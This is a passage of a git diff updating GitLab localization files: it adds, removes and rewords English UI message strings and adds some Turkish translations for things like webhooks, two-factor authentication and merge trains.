@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/tr_TR/gitlab.po b/locale/tr_TR/gitlab.po
index efcf253cff8..07e6b569ad6 100644
--- a/locale/tr_TR/gitlab.po
+++ b/locale/tr_TR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: tr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:46\n"
+"PO-Revision-Date: 2020-09-04 23:08\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,14 +56,14 @@ msgstr[1] " %d noktasında geliştirildi"
msgid " or "
msgstr " veya "
-msgid " or <!merge request id>"
-msgstr " veya <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
+msgstr ""
-msgid " or <#issue id>"
-msgstr " veya <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
-msgid " or <&epic id>"
-msgstr " veya <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
+msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
msgstr ""
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,9 +300,12 @@ msgstr[1] "%s performans sorunlarını önlemek için ek işlem konulmuştur."
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} ve %{openOrClose} %{noteable}"
-msgid "%{author_link} wrote:"
+msgid "%{address} is an invalid IP address range"
msgstr ""
+msgid "%{author_link} wrote:"
+msgstr "%{author_link} yazdı:"
+
msgid "%{authorsName}'s thread"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr "%{cores} çekirdek"
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr "%{count} LOC/iÅŸlem"
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr "%{duration}ms"
@@ -416,14 +428,14 @@ msgstr "%{firstLabel} +%{labelCount} daha"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr "%{firstMilestoneName} + %{numberOfOtherMilestones} daha fazla"
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
msgstr ""
msgid "%{group_name} group members"
-msgstr ""
+msgstr "%{group_name} grubunun üyeleri"
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
@@ -441,7 +453,7 @@ msgid "%{issuableType} will be removed! Are you sure?"
msgstr "%{issuableType} kaldırılacak! Emin misiniz?"
msgid "%{issuesSize} issues with a limit of %{maxIssueCount}"
-msgstr ""
+msgstr "%{maxIssueCount} sınırı olan %{issuesSize} sorun"
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
@@ -450,19 +462,19 @@ msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr "%{labelStart}Sınıf:%{labelEnd} %{class}"
msgid "%{labelStart}Crash Address:%{labelEnd} %{crash_address}"
-msgstr ""
+msgstr "%{labelStart}Çökme Adresi:%{labelEnd}%{crash_address}"
msgid "%{labelStart}Crash State:%{labelEnd} %{stacktrace_snippet}"
-msgstr ""
+msgstr "%{labelStart}Çökme Durumu:%{labelEnd}%{stacktrace_snippet}"
msgid "%{labelStart}Evidence:%{labelEnd} %{evidence}"
-msgstr ""
+msgstr "%{labelStart}Bulgu:%{labelEnd}%{evidence}"
msgid "%{labelStart}File:%{labelEnd} %{file}"
-msgstr ""
+msgstr "%{labelStart}Dosya:%{labelEnd} %{file}"
msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
+msgstr "%{labelStart}Başlıklar:%{labelEnd} %{headers}"
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr "%{labelStart}Resim:%{labelEnd} %{image}"
@@ -477,16 +489,16 @@ msgid "%{labelStart}Report Type:%{labelEnd} %{reportType}"
msgstr "%{labelStart}Rapor Türü:%{labelEnd} %{reportType}"
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
-msgstr ""
+msgstr "%{labelStart}Tarayıcı:%{labelEnd}%{scanner}"
msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr "%{labelStart}Önem derecesi:%{labelEnd} %{severity}"
msgid "%{labelStart}Status:%{labelEnd} %{status}"
-msgstr ""
+msgstr "%{labelStart}Durum:%{labelEnd}%{status}"
msgid "%{labelStart}URL:%{labelEnd} %{url}"
-msgstr ""
+msgstr "%{labelStart}URL:%{labelEnd}%{url}"
msgid "%{label_for_message} unavailable"
msgstr "%{label_for_message} kullanılamaz"
@@ -503,11 +515,8 @@ msgstr "Bir %{group_level_name} grubunda %{level_name} izin verilmez."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
-msgstr ""
+msgstr "GitLab Inc. ile hangi bilgilerin paylaşıldığı hakkında %{link_start}daha fazla bilgi edinin%{link_end}."
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr "Rol izinleri hakkında %{link_start}daha fazla bilgi edinin%{link_end}"
@@ -524,15 +533,30 @@ msgstr "%{listToShow}, ve %{awardsListLength} dahası."
msgid "%{loadingIcon} Started"
msgstr "%{loadingIcon} Başladı"
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} dizini %{lock_user_id} GitLab kullanıcısı tarafından kilitlendi"
msgid "%{markdownDocsLinkStart}Markdown%{markdownDocsLinkEnd} and %{quickActionsDocsLinkStart}quick actions%{quickActionsDocsLinkEnd} are supported"
-msgstr ""
+msgstr "%{markdownDocsLinkStart}Biçimlendirme%{markdownDocsLinkEnd} ve %{quickActionsDocsLinkStart}hızlı eylemler%{quickActionsDocsLinkEnd} desteklenir"
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr "%{mergeLength}/%{usersLength} birleÅŸtirebilir"
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr "%{mrText}, bu sorun otomatik olarak kapatılacaktır."
@@ -543,7 +567,7 @@ msgid "%{name_with_link} has run out of Shared Runner Pipeline minutes so no new
msgstr ""
